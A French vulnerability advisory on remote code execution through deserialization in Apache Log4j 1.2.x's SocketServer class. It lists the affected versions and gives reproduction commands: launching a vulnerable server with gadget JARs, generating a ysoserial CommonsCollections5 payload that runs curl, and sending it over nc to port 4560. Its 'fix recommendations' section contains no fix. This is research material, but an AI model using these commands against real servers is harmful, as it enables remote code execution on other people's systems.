
Apache Log4j 1.2.X présente une vulnérabilité d'exécution de code à distance par désérialisation
Lien de référence pour l'alerte de vulnérabilité : https://mp.weixin.qq.com/s/okU2y0izfnKXXtXG3EfLkQ
Apache Log4j est un outil de journalisation open source basé sur Java, développé par la Apache Software Foundation. Les versions de la série Apache Log4j 1.2.X contiennent une vulnérabilité d'exécution de code à distance par désérialisation. Un attaquant peut exploiter cette vulnérabilité pour exécuter des commandes malveillantes arbitraires. Dans Log4j 1.2.X, une classe SocketServer est incluse, qui est facilement vulnérable à la désérialisation de données non fiables. Lorsqu'elle écoute du trafic réseau non fiable contenant des données de journalisation, combinée à des gadgets de désérialisation, cette classe peut être utilisée pour exécuter du code arbitraire à distance. L'impact concerne jusqu'à la version actuelle la plus récente.
Élevée
Versions concernées 1.2.4 <= Apache Log4j <= 1.2.17 (dernière version)
Recommandations de correction
À l'époque d'Apache Log4j 2.8.1, il existait déjà une vulnérabilité d'exécution de code à distance par désérialisation (CVE-2017-5645), la classe de vulnérabilité déclenchée était org.apache.logging.log4j.core.net.server.TcpSocketServer. À l'ère d'Apache Log4j 1.2.X, la classe vulnérable est devenue org.apache.log4j.net.SocketServer
En recherchant en ligne, on constate que la manière de démarrer le socketserver de log4j 1.X est via la commande java, et non via du code Java. (Si d'autres méthodes existent, n'hésitez pas à nous en informer.)
De même, il faut télécharger les JARs affectés ainsi que les JARs pouvant exécuter du code, les définir dans les variables d'environnement (exemple ci-dessous pour Windows), puis lancer le service en passant trois paramètres : un port, un fichier de configuration log4j, et un répertoire lcf :
java -cp log4j-1.2.17.jar;c3p0-0.9.5.2.jar;mchange-commons-java-0.2.11.jar;commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 log4jserver.properties ./
java -cp log4j-1.2.17.jar:../commons-collections/commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 config/log4jserver.properties ./
java -jar ysoserial-master.jar CommonsCollections5 "curl http://127.0.0.1/ssrf/ssrf.php?rand=log4j" > log4j.curl.bin
nc 127.0.0.1 4560 < log4j.curl.bin
Obtention des JARs associés : https://github.com/shadow-horse/Vulenvironment/libs